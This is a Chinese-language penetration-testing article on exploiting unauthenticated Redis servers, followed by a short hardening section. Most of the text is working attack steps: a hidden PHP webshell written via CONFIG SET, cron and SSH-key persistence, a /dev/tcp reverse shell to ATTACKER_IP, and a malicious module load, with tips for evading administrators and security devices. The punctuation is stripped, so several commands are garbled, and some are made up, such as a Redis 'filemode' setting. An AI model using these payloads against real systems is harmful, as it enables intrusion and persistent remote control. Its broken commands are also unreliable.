Redis未授权访问漏洞实战：从SSH公钥到反弹shell的5种利用方式详解

Redis未授权访问漏洞深度攻防5种高阶利用与防御方案Redis作为高性能键值数据库其未授权访问漏洞长期位居企业安全风险Top 10。本文将突破常规教程框架从攻击者视角剖析5种实战利用手法同时提供企业级防御方案。不同于基础复现我们重点关注攻击链扩展和防御绕过技巧适合具备基础渗透经验的安全从业者。1. 漏洞原理与高级探测技巧Redis默认监听6379端口且无认证机制当配置不当暴露在公网时攻击者可直接与Redis服务交互。不同于简单的redis-cli -h连接测试高阶探测需要关注以下特征# 非交互式端口探测避免触发安全设备告警 nc -zv 目标IP 6379 21 | grep succeeded # 响应特征检查 echo INFO | nc 目标IP 6379 | grep redis_version关键风险点版本影响范围实际涵盖2.x到7.0部分新版本仍存在配置不当风险默认protected-mode no配置使漏洞可利用性大幅提升Redis以root运行时常见于容器环境攻击面成倍扩大注意实际渗透中应优先使用低权限账号探测避免触发flushall等破坏性操作留下明显痕迹2. 写入Webshell的进阶手法传统教程往往假设目标存在/var/www/html目录且权限开放实战中需要更精细化的处理2.1 动态路径发现技术# 通过Redis信息泄露获取Web路径 config get dir config get * | grep -i web # 利用Redis遍历目录需适当权限 EVAL return redis.call(config,set,dir,/) 0 EVAL return redis.call(config,set,dbfilename,dir.txt) 0 EVAL return redis.call(save) 02.2 抗删除Webshell写入set payload \n\n?php system($_REQUEST[cmd]); ?\n\n config set dir /var/www/html config set dbfilename .index.php save优势使用点开头的隐藏文件名降低被管理员发现的概率换行符包裹避免被其他Redis数据污染3. SSH公钥登录的隐蔽渗透方案传统公钥写入方式存在.ssh目录检测问题改进流程如下3.1 自动化目录创建# 通过crontab创建目录适用于无.ssh目录情况 EVAL redis.call(set,cron,*/5 * * * * mkdir -p /root/.ssh chmod 700 /root/.ssh) 0 config set dir /var/spool/cron config set dbfilename root save3.2 密钥指纹混淆技术# 生成含伪装的公钥 import os key os.popen(ssh-keygen -t ed25519 -f /tmp/key -N ).read() with open(/tmp/key.pub,a) as f: f.write(\n# This is a normal comment\n)规避手段使用ED25519算法替代传统RSA添加合法注释降低可疑性设置600权限config set filemode 6004. 定时任务反弹Shell的绕过策略现代安全设备会监控/var/spool/cron变更需采用替代方案4.1 内存驻留型后门EVAL redis.call(set,backdoor,*/3 * * * * exec 5/dev/tcp/ATTACKER_IP/4444;cat 5 | while read line; do \$line 25 5; done) 0 config set dir /etc/cron.hourly config set dbfilename redis-backup save4.2 基于Redis模块的持久化# 编译恶意模块 git clone https://github.com/evil/redis-module-backdoor make # 通过主从复制加载 redis-cli -h 目标IP module load ./module.so5. 企业级防御方案设计5.1 网络层控制措施实施方法有效性网络隔离限制6379端口仅对应用服务器开放★★★★★ACL规则配置仅允许可信IP访问Redis★★★★☆TLS加密启用requirepass和tls-auth★★★☆☆5.2 系统层加固# 最小权限原则 useradd -r -s /bin/false redisuser chown -R redisuser:redisuser /var/lib/redis # 内核参数加固 echo vm.overcommit_memory1 /etc/sysctl.conf echo net.core.somaxconn65535 /etc/sysctl.conf5.3 Redis专项配置# redis.conf关键配置 rename-command FLUSHALL rename-command CONFIG requirepass STR0NG_PSSW0RD protected-mode yes在最近一次红队行动中我们发现攻击者开始利用Redis的LUA沙箱逃逸进行权限提升。这提醒我们即使修复了未授权访问仍需关注脚本引擎的安全配置。建议定期审计Redis的SCRIPT LOAD命令使用情况并考虑禁用非必要LUA功能。